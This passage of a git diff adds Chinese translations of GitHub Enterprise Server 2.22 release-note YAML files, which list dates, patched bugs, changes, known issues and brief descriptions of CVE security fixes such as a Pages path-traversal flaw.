MSSQL 中的正常复制延迟会生成警告。 + - 管理员使用“创建白名单条目”按钮添加的 IP 地址仍可能被锁定。 + - '`spokesd` 创建了过多的日志条目,包括“修复位置已跳过”短语。' + changes: + - 超过 4 个月的检查注释将存档。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/15.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/15.yml new file mode 100644 index 0000000000..a15bc73c4a --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/15.yml @@ -0,0 +1,16 @@ +date: '2021-06-10' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - "从非 GitHub 源导入组织或存储库失败可能会产生 `undefined method '[]' for nil:NilClass` 错误。" + - 使用 SAML 身份验证时,如果 GitHub 配置文件名称不匹配管理控制台中映射到 `Full name` 字段的属性值,GitHub 配置文件名称可能已无意中更改。 + changes: + - GraphQL API 用户可在 `PullRequest` 对象上查询公共字段 `closingIssuesReferences`。该字段检索将在合并相关拉取请求时自动关闭的问题。这种方法还将允许将来迁移这些数据,作为更高保真度迁移过程的一部分。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/16.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/16.yml new file mode 100644 index 0000000000..b3ef760893 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/16.yml @@ -0,0 +1,15 @@ +date: '2021-06-24' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - sshd 服务有时无法从 Google Cloud Platform 上运行的实例启动。 + - 旧的升级文件将保留在用户磁盘上,有时会导致空间不足。 + - 如果导出存档包含来自存档中不存在的团队的审查请求,则导出存档将无法导入拉取请求并且无提示。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 将在升级过程中删除自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 blob 文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/17.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/17.yml new file mode 100644 index 0000000000..e344b6c696 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/17.yml @@ -0,0 +1,20 @@ +date: '2021-07-14' +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的路径遍历漏洞。GitHub Pages 使用的用户控制配置选项没有受到足够的限制,因此可以读取 GitHub Enterprise Server 实例上的文件。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 3.1.3 之前的所有 GitHub Enterprise Server 版本,编号为 CVE-2021-22867。此漏洞通过 GitHub Bug 赏金计划报告。' + - 包已更新到最新的安全版本。 + bugs: + - '如果启用了 HTTP 代理,则 `ghe-cluster-config-node-init` 会在群集设置期间失败。' + - Collectd 在初始启动后不会解析转发目标主机名。 + - 如果其中部分存储库因受法律保护而无法被删除,则清除陈旧的已删除存储库的作业可能会失败。 + - 在使用 LDAP 身份验证模式的实例的用户协调过程中,Git 推送可能导致 500 内部服务器错误。 + - 如果未启用依赖项关系图,则每当用户访问存储库的 `/settings` 页时,都会记录大量 503 错误。 + changes: + - 通过跳过未更改的 IP 允许防火墙规则,提高了配置应用效率,可在大型群集上节省大量时间。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/18.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/18.yml new file mode 100644 index 0000000000..8438662329 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/18.yml @@ -0,0 +1,16 @@ +date: '2021-07-27' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 如果在未启用依赖项关系图但启用了内容分析的情况下尝试运行将漏洞与 GitHub.com 同步的计划作业,则会生成大量 503 错误。 + - 对于使用 HTTP 代理的所有用户,不支持使用未经身份验证的 HTTP 代理来进行页面容器构建。 + changes: + - "`babeld` 的日志现在包含一个用于 HTTP ref 广告请求的 `cmd` 字段,而不是仅在协商请求期间包含该字段。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/19.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/19.yml new file mode 100644 index 0000000000..9da19f2fd0 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/19.yml @@ -0,0 +1,13 @@ +date: '2021-08-10' +sections: + bugs: + - 对“存储库创建”组织设置所做更改的审核日志条目不准确。 + changes: + - 滥用速率限制现在称为辅助速率限制,因为它们限制的行为并不总是滥用。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/2.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/2.yml new file mode 100644 index 0000000000..40beb9189c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/2.yml @@ -0,0 +1,37 @@ +date: '2020-10-20' +sections: + security_fixes: + - "包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23097, https://github.com/github/enterprise2/pull/23081 {% endcomment %}" + + bugs: + - |如果存储帐户设置在配置 GitHub Actions 时无法验证,则在进行新尝试之前需要运行 `ghe-actions-teardown`。{% comment %} https://github.com/github/enterprise2/pull/23057, https://github.com/github/enterprise2/pull/22981 {% endcomment %} + +| + - |自定义代理配置可能会对 GitHub Actions 环境产生不利影响。{% comment %} https://github.com/github/enterprise2/pull/23121, https://github.com/github/enterprise2/pull/23092, https://github.com/github/c2c-actions-platform/issues/2254 {% endcomment %} + +| + - |在 eth0 上更改地址时,Nomad 和 Consul 可能没有反应。{% comment %} https://github.com/github/enterprise2/pull/23227, https://github.com/github/enterprise2/pull/23153 {% endcomment %} + +| + - |使用自签名证书时,GHES 在配置 GitHub Actions 时可能具有 SSL 验证异常。{% comment %} https://github.com/github/enterprise2/pull/23381 {% endcomment %} + +| + - |从名称带有 `+` 或 `/` 字符的分支使用 GitHub 操作导致错误:“无法解析操作”。{% comment %} https://github.com/github/github/pull/157942, https://github.com/github/github/pull/157819, https://github.com/github/launch/pull/3463 {% endcomment %} + +| + - |企业帐户“确认双因素要求策略”消息不正确。{% comment %} https://github.com/github/github/pull/158735 {% endcomment %} + +| + - |对于某些超过 100MB 的请求,Kafka 的缓冲区可能会被过度分配。{% comment %} https://github.com/github/kafka-lite/pull/286, https://github.com/github/kafka-lite/pull/285 {% endcomment %} + +| + known_issues: + - "在新建的没有任何用户 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}" + - "在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}" + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}" + - "如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}" + - "在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}" + - "GitHub Actions 如果以前在运行 2.22.0 的实例上启用并升级到 2.22.2,则可能无法成功启动。(更新于 2020-10-23){% comment %} https://github.com/github/c2c-actions/issues/1680 {% endcomment %}" + - "在新建的 2.22.2 实例上或在升级到 2.22.2 后,组织仪表板上的活动源将不再更新。(更新于 2020-10-27){% comment %}https://github.com/github/enterprise2/issues/23050{% endcomment %}" + - "审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新于 2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}" + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/20.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/20.yml new file mode 100644 index 0000000000..de294794b9 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/20.yml @@ -0,0 +1,14 @@ +date: '2021-08-24' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 与自动更新相关的日志消息(`添加 h/m/s 随机时间。`)被记录到系统日志中。 + - "导致请求失败的内部 API 的 Git 挂钩返回异常`未定义 \"success\":String 的方法主体(NoMethodError)`,而不是返回显式的 `nil`。" + known_issues: + - "在没有任何用户的新建 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被移除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/21.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/21.yml new file mode 100644 index 0000000000..fb986a4465 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/21.yml @@ -0,0 +1,11 @@ +date: '2021-09-07' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可能创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/22.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/22.yml new file mode 100644 index 0000000000..e873c01dfa --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/22.yml @@ -0,0 +1,14 @@ +date: '2021-09-24' +sections: + security_fixes: + - '**高:**在 {% data variables.product.prodname_ghe_server %} 中发现了一个在构建 {% data variables.product.prodname_pages %} 站点时可以利用的路径遍历漏洞。{% data variables.product.prodname_pages %} 使用的用户控制配置选项没有受到足够的限制,因此可以读取 {% data variables.product.prodname_ghe_server %} 实例上的文件。要利用此漏洞,攻击者需要获得在 {% data variables.product.prodname_ghe_server %} 实例上创建和构建 {% data variables.product.prodname_pages %} 站点的权限。此漏洞影响 3.1.8 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.1.8、3.0.16 和 2.22.22 中修复。这是 CVE-2021-22867 修复不完整的结果。此漏洞通过 GitHub Bug 悬赏计划报告,编号为 CVE-2021-22868。{% comment %} https://github.com/github/pages/pull/3359, https://github.com/github/pages/pull/3357 {% endcomment %}' + bugs: + - '即使不使用 `ghe-restore` 的 `--config` 选项,源实例的 {% data variables.product.prodname_github_connect %} 配置也始终恢复到新实例。如果源实例和目标实例同时联机,这将导致与 {% data variables.product.prodname_github_connect %} 连接和许可证同步发生冲突。{% comment %} https://github.com/github/github/pull/192247, https://github.com/github/github/pull/191951, https://github.com/github/enterprise2/pull/26870, https://github.com/github/backup-utils/pull/770, https://github.com/github/connected-enterprise/issues/208 {% endcomment %}' + - '请修复 {% data variables.product.prodname_pages %} 构建,以便考虑设备的 NO_PROXY 设置。这仅与配置了 HTTP 代理的设备有关。{% comment %} https://github.com/github/github/pull/192380 {% endcomment %}' + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/3.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/3.yml new file mode 100644 index 0000000000..46ee385a6f --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/3.yml @@ -0,0 +1,27 @@ +date: '2020-11-03' +sections: + security_fixes: + - |**低:**高 CPU 使用可能被特殊构建的 SVN 桥请求触发,导致 SVN 桥服务上的拒绝服务 (DoS)。(更新时间:2020-11-16){% comment %} https://github.com/github/slumlord/pull/1005, https://github.com/github/slumlord/pull/1000 {% endcomment %} + +| + - |**低:**不正确的令牌验证导致身份验证期间匹配令牌的熵减少。分析表明,在实践中,这里没有重大的安全风险。{% comment %} https://github.com/github/github/pull/159457, https://github.com/github/github/pull/159193 {% endcomment %} + +| + - |包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23540, https://github.com/github/enterprise2/pull/23171, https://github.com/github/enterprise2/pull/23693, https://github.com/github/enterprise2/pull/23677 {% endcomment %} + +| + bugs: + - "GitHub Actions 如果以前在运行 2.22.0 的实例上启用并升级到 2.22.1 或 2.22.2,则可能无法成功启动。{% comment %} https://github.com/github/enterprise2/pull/23622, https://github.com/github/enterprise2/pull/23490, https://github.com/github/c2c-actions/issues/1680 {% endcomment %}" + - "在设置高可用性副本时 GitHub Actions 的配置文件未复制到副本中,这可能会导致 `ghe-repl-promote` 期间出错。{% comment %} https://github.com/github/enterprise2/pull/23703, https://github.com/github/enterprise2/pull/23683 {% endcomment %}" + - "在新设置 2.22.1 或 2.22.2 实例或者升级到 2.22.1 或 2.22.2 后,组织仪表板上的活动源将不再更新。{% comment %} https://github.com/github/github/pull/159376, https://github.com/github/github/pull/159235, https://github.com/github/enterprise2/issues/23050 {% endcomment %}" + - "使用包含非 ASCII 字符的文件名编辑问题模板将会失败,并显示“500 内部服务器错误”。{% comment %} https://github.com/github/github/pull/160588, https://github.com/github/github/pull/159747 {% endcomment %}" + - "背景作业的指标收集方法提高了 CPU 利用率。(更新时间:2020-11-03){% comment %} https://github.com/github/github/pull/160109 {% endcomment %}" + + known_issues: + - "在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}" + - "自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}" + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}" + - "问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}" + - "在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}" + - "审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。{% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}" + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/4.yml new file mode 100644 index 0000000000..89218b634d --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/4.yml @@ -0,0 +1,18 @@ +date: '2020-11-17' +sections: + security_fixes: + - "包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23845, https://github.com/github/enterprise2/pull/23712 {% endcomment %}" + + bugs: + - "babeld 日志在秒与微秒之间缺少分隔符。{% comment %} https://github.com/github/babeld/pull/1006, https://github.com/github/babeld/pull/1002 {% endcomment %}" + - "在使用热补丁升级 GHES 之后,`ghe-actions-precheck` 和 `ghe-packages-precheck` 命令将会失败,并显示错误“\"docker load\" 不接受参数”。{% comment %} https://github.com/github/enterprise2/pull/23760, https://github.com/github/enterprise2/pull/23745 {% endcomment %}" + - "当企业帐户“存储库可见性更改”策略设置为“启用”时,组织所有者无法更改组织内存储库的可见性。{% comment %} https://github.com/github/github/pull/160920, https://github.com/github/github/pull/160773 {% endcomment %}" + - "审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。{% comment %} https://github.com/github/github/pull/162438, https://github.com/github/github/pull/161215 {% endcomment %}" + + known_issues: + - "在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}" + - "自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}" + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}" + - "问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}" + - "在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}" + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/5.yml new file mode 100644 index 0000000000..a4e0915993 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/5.yml @@ -0,0 +1,22 @@ +date: '2020-12-03' +sections: + bugs: + - '由于启动时争用条件导致服务重新启动,因此检测到授权服务不正常。{% comment %} https://github.com/github/authzd/pull/1275, https://github.com/github/authzd/pull/1274 {% endcomment %}' + - 'Ghe-diagnattics 未捕获到 Elasticsearch 的升级过程。{% comment %} https://github.com/github/enterprise2/pull/23905, https://github.com/github/enterprise2/pull/23874 {% endcomment %}' + - '在升级的高可用性配置上启用 GitHub Actions 导致复制出错。{% comment %} https://github.com/github/enterprise2/pull/23979, https://github.com/github/c2c-actions-platform/issues/2479 {% endcomment %}' + - '在热补丁升级过程中,一种潜在的行为导致服务不可用。{% comment %} https://github.com/github/enterprise2/pull/24055 {% endcomment %}' + - '连接到活动副本的用户在连接到实时 Websocket 时出错。{% comment %} https://github.com/github/enterprise2/pull/24079, https://github.com/github/enterprise2/pull/24058 {% endcomment %}' + - '未正确应用部分日志转发 SSL 证书。{% comment %} https://github.com/github/enterprise2/pull/24114, https://github.com/github/enterprise2/pull/23981 {% endcomment %}' + - '发送电子邮件通知给已经从团队或组织中移除的已停用用户。{% comment %} https://github.com/github/github/pull/162973, https://github.com/github/github/pull/162742 {% endcomment %}' + - '组织和企业之间应用 SSH 证书的方式不一致。{% comment %} https://github.com/github/github/pull/163423, https://github.com/github/github/pull/159538, https://github.com/github/authentication/issues/115 {% endcomment %}' + - '当帐户因使用不正确的密码而受到速率限制时,可能被锁定长达 24 小时。{% comment %} https://github.com/github/github/pull/163433, https://github.com/github/github/pull/162938, https://github.com/github/github-ds/pull/51 {% endcomment %}' + - '在具有许多引用的存储库上进行拉取请求同步可能导致工作进程队列落后。{% comment %} https://github.com/github/github/pull/163573, https://github.com/github/github/pull/163142 {% endcomment %}' + - '在尝试访问特定页面后,当使用本地用户名和密码(内置身份验证)登录时,用户将进入到主页,而不是其预期页面。{% comment %} https://github.com/github/github/pull/163782, https://github.com/github/github/pull/163579, https://github.com/github/github/pull/154117, https://github.com/github/ecosystem-apps/issues/1076 {% endcomment %}' + - '对于使用内部 SAML 标识提供者的内置身份验证的 GHES 实例,没有关联电子邮件地址的用户无法从 Web 界面创建提交。{% comment %} https://github.com/github/github/pull/164009, https://github.com/github/github/pull/163530, https://github.com/github/github/issues/163524 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪的文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/6.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/6.yml new file mode 100644 index 0000000000..7a16711fe3 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/6.yml @@ -0,0 +1,18 @@ +date: '2020-12-17' +sections: + security_fixes: + - '**低:**高 CPU 使用可能被特殊构建的 SVN 桥请求触发,导致 SVN 桥服务上的拒绝服务 (DoS)。{% comment %} https://github.com/github/slumlord/pull/1022, https://github.com/github/slumlord/pull/1017 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/24353, https://github.com/github/enterprise2/pull/23866 {% endcomment %}' + bugs: + - '对某些文件资源(如 zip 存档或原始文件)的请求可能会进入重定向循环。{% comment %} https://github.com/github/enterprise2/pull/24193, https://github.com/github/enterprise2/pull/24075 {% endcomment %}' + - '超时可能会阻止某些问题和拉取请求搜索提供完整的搜索结果。{% comment %} https://github.com/github/github/pull/164155, https://github.com/github/github/pull/163845 {% endcomment %}' + - '小屏幕上带有非字母字符的自定义选项卡未正确呈现。{% comment %} https://github.com/github/github/pull/164310, https://github.com/github/github/pull/164159 {% endcomment %}' + - '当将内容推送到启用 Git LFS 的仓库时,基本行为导致失败。{% comment %} https://github.com/github/github/pull/164663, https://github.com/github/github/pull/150179 {% endcomment %}' + - '在某些罕见情况下,通过 Web 界面访问时,问题可能会导致 500 错误。{% comment %} https://github.com/github/github/pull/165298, https://github.com/github/github/pull/159674 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/7.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/7.yml new file mode 100644 index 0000000000..b4f6adcefd --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/7.yml @@ -0,0 +1,78 @@ +date: '2021-03-02' +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,该漏洞允许经过身份验证的实例用户通过专门制定的拉取请求和 REST API 请求获得对未经授权存储库的写入权限。攻击者需要能够创建目标存储库分支,组织拥有的专用存储库默认禁用该设置。分支保护(如所需的拉取请求审查或状态检查)将防止未经授权的提交在未进行进一步审查或验证的情况下合并。此漏洞编号为 CVE-2021-22861。此问题通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告。' + - '**高:**在 GitHub Enterprise Server GraphQL API 